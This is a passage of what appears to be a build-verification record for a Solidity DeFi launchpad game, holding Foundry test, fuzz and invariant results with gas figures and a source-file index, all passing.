testFuzz_quoteFromFreshCurveNeverUndercharges(uint256) (runs: 1000, μ: 21372, ~: 20955)\nLogs:\n  Bound result 3135424969\n\n[PASS] testFuzz_quoteIsMonotoneInEth(uint256,uint256,uint256) (runs: 500, μ: 37667, ~: 37863)\nLogs:\n  Bound result 8\n  Bound result 11000\n  Bound result 3000000\n\n[PASS] testFuzz_rollSplitConservesEveryWei(uint8,bool) (runs: 64, μ: 8876061, ~: 10171339)\nLogs:\n  Bound result 1\n\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 740.56ms (3.63s CPU time)\n\nRan 35 tests for test/Game.t.sol:GameTest\n[PASS] test_bellEndsGame() (gas: 1917032)\n[PASS] test_claimableWinner() (gas: 2413294)\n[PASS] test_conservationOfEth() (gas: 5031997)\n[PASS] test_curveQuoteMatchesConstantProduct() (gas: 42408)\n[PASS] test_deadImpCannotRingTheBell() (gas: 2213365)\n[PASS] test_deadImpCannotRollWhileOthersPlay() (gas: 2296022)\n[PASS] test_deathAndAllDeadEnd() (gas: 1819627)\n[PASS] test_entryOnePerWalletAndSignupWindow() (gas: 1519363)\n[PASS] test_expiredRollMovesTowardZero() (gas: 2334411)\n[PASS] test_failedPushBecomesClaimable() (gas: 1429433)\n[PASS] test_finalizePaysTriangularRanksAndBell() (gas: 4938660)\n[PASS] test_finalizeRanksAndPays() (gas: 4368741)\n[PASS] test_finalizeWaitsForPendingRolls() (gas: 1628449)\n[PASS] test_finalizeWith200LivingImpsStaysUnderFiveMillionGas() (gas: 106809947)\n[PASS] test_finalizerFeeCapped() (gas: 11347523)\n[PASS] test_finalizerFeeNeverExceedsRollPot() (gas: 1675082)\n[PASS] test_firstEntryStartsSignupWithoutSeating() (gas: 325938)\n[PASS] test_fundPotOnlyPad() (gas: 43986)\n[PASS] test_fundedPotReleasedToFiveLivingCappedAtThreeTimesRollPot() (gas: 17863121)\n[PASS] test_fundedPotReturnsToCarryWhenFewerThanFiveLive() (gas: 3310629)\n[PASS] test_graduateOnlyFromGame() (gas: 71146)\n[PASS] test_graduationCreatesPoolUnlocksTokenBurnsExcess() (gas: 7259448)\n[PASS] test_graduationWithoutEthFailsAndBurns() (gas: 1420257)\n[PASS] test_hardEndAt60Minutes() (gas: 3890941)\n[PASS] test_nonGenesisBurnShareGoesToBurnBucket() (gas: 9104495)\n[PASS] test_resolveBatchIsEight() (gas: 6759678)\n[PASS] test_rollAfterOwnBellReverts() (gas: 2168716)\n[PASS] test_rollRequiresPlayPhasePriceAndImp() (gas: 1820593)\n[PASS] test_rollResolvesAfterThreeBlocksWithArbHashes() (gas: 1739004)\n[PASS] test_rollResolvesOwnPreviousRoll() (gas: 1654865)\n[PASS] test_rollSplitGenesisBurnShareToPot() (gas: 1380146)\n[PASS] test_soldOutCurveSendsRollToPot() (gas: 1312310)\n[PASS] test_tieBreakFollowsCommitOrderNotResolutionOrder() (gas: 2882246)\n[PASS] test_tokenLockedUntilGraduation() (gas: 1467940)\n[PASS] test_upkeepFinalizesAndGraduatesDueGame() (gas: 2628844)\nSuite result: ok. 35 passed; 0 failed; 0 skipped; finished in 740.80ms (350.83ms CPU time)\n\nRan 9 tests for test/LiquidityV4.t.sol:LiquidityV4Test\n[PASS] test_collectPoolRejectsExternalCallers() (gas: 30845)\n[PASS] test_crownPrecollectsOnlyEightOfTenPools() (gas: 10135815)\nLogs:\n  takeCrown gas, ten real pools: 1615161\n\n[PASS] test_failedDistributorCannotBlockCrown() (gas: 8690381)\n[PASS] test_oneFailingPoolCannotBlockBidOrHealthyPoolFees() (gas: 14401126)\n[PASS] test_outgoingKingReceivesFeesBeforeCrownEvent() (gas: 9216075)\n[PASS] test_realBurnIgnoresAnUnrelatedPriorTokenSync() (gas: 8208761)\n[PASS] test_realPoolManagerGraduatesSoldOutAfter2400ActualRolls() (gas: 1873153)\n[PASS] test_realPoolManagerSmallestRaiseGraduatesAndConservesAccounting() (gas: 3535795)\n[PASS] test_realTradingTokenFeesAreSoldForEthAndPaidToKing() (gas: 8891634)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 1.31s (1.51s CPU time)\n\nRan 21 tests for test/Pad.t.sol:PadTest\n[PASS] test_bindingsAndOwner() (gas: 107176)\n[PASS] test_bindingsAreOneShot() (gas: 87768)\n[PASS] test_carryPotFundsNextLaunch() (gas: 8904037)\n[PASS] test_closedPadRevertsEverything() (gas: 103813)\n[PASS] test_constructorsNeedNoExternalCodeAndMintNothing() (gas: 693233)\n[PASS] test_deployGasUnderBudget() (gas: 19924)\n[PASS] test_deployHookOnlyByPad() (gas: 31043)\n[PASS] test_failedGenesisIsRestartedByLaunchAndThePadRecovers() (gas: 11663473)\n[PASS] test_fundGamesOnlyKing() (gas: 39635)\n[PASS] test_hookRejectsForeignInitialize() (gas: 1124557)\n[PASS] test_launchRevertsUntilGenesisGraduates() (gas: 9041615)\n[PASS] test_launchValidatesStrings() (gas: 8136462)\n[PASS] test_openPadByAnyoneAfter30Days() (gas: 994947)\n[PASS] test_openPadByOwnerDeploysHookWithExactFlag() (gas: 1026322)\n[PASS] test_openPadOnlyOnce() (gas: 1067053)\n[PASS] test_openPadRejectsBadSalt() (gas: 213540)\n[PASS] test_openPadStrangerBefore30DaysReverts() (gas: 280730)\n[PASS] test_restartGenesisRevertsWhileGenesisWaitsOrPlays() (gas: 1374067)\n[PASS] test_runtimeSizesAndNoEscapeOpcodes() (gas: 31293400)\n[PASS] test_templatesCannotBeInitialized() (gas: 1165578)\n[PASS] test_upkeepForOnlyGames() (gas: 1214077)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 1.31s (257.48ms CPU time)\n\nRan 36 tests for test/Adversarial.t.sol:AdversarialTest\n[PASS] test_bellOnlyRingsOnceAndNotForNegativeClampOverflow() (gas: 3233217)\n[PASS] test_bellRingerOutsideTopHalfStillGetsBellShare() (gas: 3934812)\n[PASS] test_claimNothingReverts() (gas: 1177517)\n[PASS] test_constructorsRejectZeroAddresses() (gas: 9679)\n[PASS] test_crownEventAndSameKingMayRebid() (gas: 8808385)\n[PASS] test_curveNeverUnderchargesAlongRealRolls() (gas: 11488653)\n[PASS] test_distributeRoundRobinAcrossPools() (gas: 19270871)\n[PASS] test_expiredRollAtZeroHeightStaysZeroAndNeverRingsBell() (gas: 2501284)\n[PASS] test_failedGenesisKeepsKingAndBurnClosedAndLaunchOnlyRelaunchesPvp() (gas: 3418768)\n[PASS] test_failedGenesisRelaunchTakesTheCarryPotAsFundedEth() (gas: 3096423)\n[PASS] test_finalizeWithTwoHundredLivingImpsWorstCaseOrderFitsInBlock() (gas: 112902736)\nLogs:\n  finalize gas, 200 living imps, worst-case order: 3780025\n\n[PASS] test_fundGamesOnlyLooksAtLastTenLaunches() (gas: 31430842)\n[PASS] test_fundGamesSkipsGamesWithFewerThanFiveImpsAndEndedOnes() (gas: 16199306)\n[PASS] test_fundGamesSplitsEquallyWhenAllPotsEmpty() (gas: 12930776)\n[PASS] test_fundPotRefusedFromStrangersAndAfterFinalize() (gas: 2385986)\n[PASS] test_hashWindowBoundaryAt257And258Blocks() (gas: 3171420)\n[PASS] test_hookRejectsForeignInitializeWithWrongKeyToo() (gas: 1084084)\n[PASS] test_kingConstructorCannotBindTwice() (gas: 9180)\n[PASS] test_lastRollOnCurveUsesOnlyRemainingEthAndRestToPot() (gas: 2408649)\n[PASS] test_launchViewsRejectIdZero() (gas: 33095)\n[PASS] test_liquidityMayMoveLockedTokensAndApprovalsWorkAfterUnlock() (gas: 2631099)\n[PASS] test_mintEventsAndLaunchEvent() (gas: 9476284)\n[PASS] test_mintOnFreshLaunchBeforeItsOwnFirstMintIsStatusZero() (gas: 8970780)\n[PASS] test_noBellAllToRanksAndDustToCarry() (gas: 7768850)\n[PASS] test_openPadAndGenesisNeedBindings() (gas: 78146)\n[PASS] test_openPadAtExactDeadlineByStranger() (gas: 995522)\n[PASS] test_openPadEmitsAndIsFinal() (gas: 1035338)\n[PASS] test_openPadRejectsExtraHookFlags() (gas: 8807685)\n[PASS] test_reentrantDistributeFromKingIsRefused() (gas: 9158219)\n[PASS] test_reentrantKingRefundIsRefusedAndMadeClaimable() (gas: 9334482)\n[PASS] test_reentrantWinnerIsRefusedAndMadeClaimable() (gas: 3715892)\n[PASS] test_resolveIsPermissionlessAndIdempotent() (gas: 2649874)\n[PASS] test_restartGenesisNeedsOpenPadAndFailedGenesis() (gas: 8151268)\n[PASS] test_singleLivingImpTakesEverything() (gas: 4797903)\n[PASS] test_soldOutCurveSendsWholeRollToPot() (gas: 2381892)\n[PASS] test_takeCrownBeforeAnyBidRejectsZeroAndDust() (gas: 8181627)\nSuite result: ok. 36 passed; 0 failed; 0 skipped; finished in 3.66s (602.64ms CPU time)\n\nRan 1 test for test/Invariants.t.sol:InvariantTest\n[PASS]\nInvariantTest invariants:\n[PASS] invariant_callSummary\n[PASS] invariant_curveNeverUnderchargesAndNeverOversells\n[PASS] invariant_fundedPotIsPartOfPotAndClearedByFinalize\n[PASS] invariant_gameBalanceEqualsObligations\n[PASS] invariant_genesisGatesLaunchesAndKing\n[PASS] invariant_impsAndRollsBounded\n[PASS] invariant_kingHoldsOnlyClaimables\n[PASS] invariant_liquidityBalanceEqualsObligations\n[PASS] invariant_padHoldsOnlyCarryPot\n[PASS] invariant_systemEthConserved\n[PASS] invariant_tokenSupplyFixedAndFullyAccounted\n[PASS] invariant_tokenUnlockedOnlyBySuccessfulGraduation\n InvariantTest invariants (runs: 40, calls: 2400, reverts: 0)\n\n╭------------+----------------+-------+---------+----------╮\n| Contract   | Selector       | Calls | Reverts | Discards |\n+==========================================================+\n| PadHandler | burnChunk      | 101   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimGame      | 107   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimKing      | 109   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimLiquidity | 91    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | creditFees     | 104   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | distribute     | 134   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | draw           | 88    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | enter          | 106   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | finalize       | 85    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundBurn       | 90    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundCarry      | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundPot        | 93    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | graduate       | 95    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | launch         | 96    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | padUpkeep      | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | poke           | 84    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | resolve        | 110   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | restartGenesis | 93    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | roll           | 215   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | takeCrown      | 91    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | tokenTransfer  | 106   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | warp           | 192   | 0       | 0        |\n╰------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 9\n  Bound result 0\n  Bound result 2400\n  Bound result 2400\n  Bound result 258\n  Bound result 0\n  Bound result 10000\n  Bound result 2995000010000000001\n  Bound result 0\n  Bound result 264999999732888147\n  Bound result 2995000000000013763\n  Bound result 16383\n  Bound result 20000000000000000\n  Bound result 13778\n  Bound result 640\n  Bound result 205\n  Bound result 1306165815548362784\n  Bound result 0\n  Bound result 0\n  Bound result 31\n  Bound result 0\n  Bound result 560\n  Bound result 274\n  Bound result 2\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.79s (3.74s CPU time)\n\nRan 15 tests for test/Raffle.t.sol:RaffleTest\n[PASS] testFuzz_everyEntrantPlaysAtOrBelow200(uint16) (runs: 64, μ: 19252442, ~: 16033891)\nLogs:\n  Bound result 89\n\n[PASS] test_5000EntriesChunkedDrawGasAndNonselectedFeesStayBurned() (gas: 115883712)\nLogs:\n  5000-entry draw max chunk gas (cold game): 2640355\n  5000-entry draw total gas: 16156777\n\n[PASS] test_contractWalletCanEnterAndViewsArePaged() (gas: 51410774)\n[PASS] test_drawBeforeEntryBeforeSignupAndZeroChunkRejected() (gas: 369528)\n[PASS] test_entryExactFeeOnePerWalletAndNoRefund() (gas: 567537)\n[PASS] test_entryFeesAlsoFundBurnOnOrdinaryGames() (gas: 8150305)\n[PASS] test_entryGateAndReentrantBurnCallback() (gas: 1033138)\n[PASS] test_failedGenesisGriefCostsOneFeeEveryRoundAndNeverRefunds() (gas: 4711732)\n[PASS] test_firstEntryStartsTenMinutesAndLateEntryRejected() (gas: 583415)\n[PASS] test_hashAtExactly256BlocksOldStillSeeds() (gas: 646467)\n[PASS] test_manySeedsGiveEarlyAndLateEntrantsEqualOpportunity() (gas: 524318)\n[PASS] test_noRollUntilAllSeatsDrawnAndDelayedPlayStartsFresh() (gas: 48686834)\n[PASS] test_recommitOnlyBeforeSeedIfHashesExpire() (gas: 48346188)\n[PASS] test_seedUsesOnlyThreeFutureL2HashesAndChunkSizeCannotChangeSeats() (gas: 92414052)\n[PASS] test_upkeepCommitsThenDrawsInBoundedChunksAndKingCountsEntries() (gas: 1742067)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 5.97s (10.99s CPU time)\n\nRan 9 test suites in 5.98s (17.64s CPU time): 141 tests passed, 0 failed, 0 skipped (141 total tests)\n","passed":true},{"durationMs":142,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KingOfThePad.claim()\",\"KingOfThePad.distribute(uint256)\",\"KingOfThePad.takeCrown()\",\"PadGame.claim()\",\"PadGame.draw(uint256)\",\"PadGame.enter()\",\"PadGame.finalize()\",\"PadGame.fundPot()\",\"PadGame.graduate()\",\"PadGame.initialize(uint256,address,address,bool)\",\"PadGame.poke()\",\"PadGame.resolvePending(uint256)\",\"PadGame.roll()\",\"PadGame.upkeepStep(address)\",\"PadLiquidity.bindKing()\",\"PadLiquidity.burnChunk()\",\"PadLiquidity.claim()\",\"PadLiquidity.collectPool(uint256)\",\"PadLiquidity.deployHook(bytes32)\",\"PadLiquidity.distribute(uint256)\",\"PadLiquidity.fundBurn()\",\"PadLiquidity.graduate(uint256,address,uint256,uint256,uint256)\",\"PadLiquidity.receive()\",\"PadLiquidity.unlockCallback(bytes)\",\"PadToken.approve(address,uint256)\",\"PadToken.initialize(string,string,address,address)\",\"PadToken.transfer(address,uint256)\",\"PadToken.transferFrom(address,address,uint256)\",\"PadToken.unlock()\",\"PvPPad.bindLiquidity()\",\"PvPPad.fundCarry()\",\"PvPPad.fundGames()\",\"PvPPad.launch(string,string,string)\",\"PvPPad.openPad(bytes32)\",\"PvPPad.restartGenesis()\",\"PvPPad.startGenesis()\",\"PvPPad.upkeep()\",\"PvPPad.upkeepFor(address)\"],\"files\":{\".gitignore\":4,\"README.md\":196,\"docs/AUDIT.md\":204,\"docs/TEST-REPORT.md\":111,\"docs/VERIFY.md\":54,\"foundry.toml\":22,\"launch.json\":37,\"remappings.txt\":2,\"src/KingOfThePad.sol\":119,\"src/PadGame.sol\":637,\"src/PadHook.sol\":24,\"src/PadLiquidity.sol\":364,\"src/PadToken.sol\":86,\"src/PvPPad.sol\":262,\"src/interfaces/Interfaces.sol\":105,\"src/libs/PadLib.sol\":108,\"test/Adversarial.t.sol\":791,\"test/AtomicDeployment.t.sol\":101,\"test/Base.t.sol\":200,\"test/Fuzz.t.sol\":286,\"test/Game.t.sol\":755,\"test/Invariants.t.sol\":575,\"test/King.t.sol\":312,\"test/LiquidityV4.t.sol\":249,\"test/Pad.t.sol\":291,\"test/Raffle.t.sol\":403,\"test/RealV4.sol\":79,\"test/mocks/Mocks.sol\":32,\"tools/validate_manifest.py\":58},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"e61ac54cd911bcc5af379be989729e1d18dc0d857d74b03a64754524f2f0c0ef","verifiedTreeHash":"61a9c495efad71e88e1e271d57e6dacabf84c70d","verifierVersion":"0.1.0+67c588fa"}]}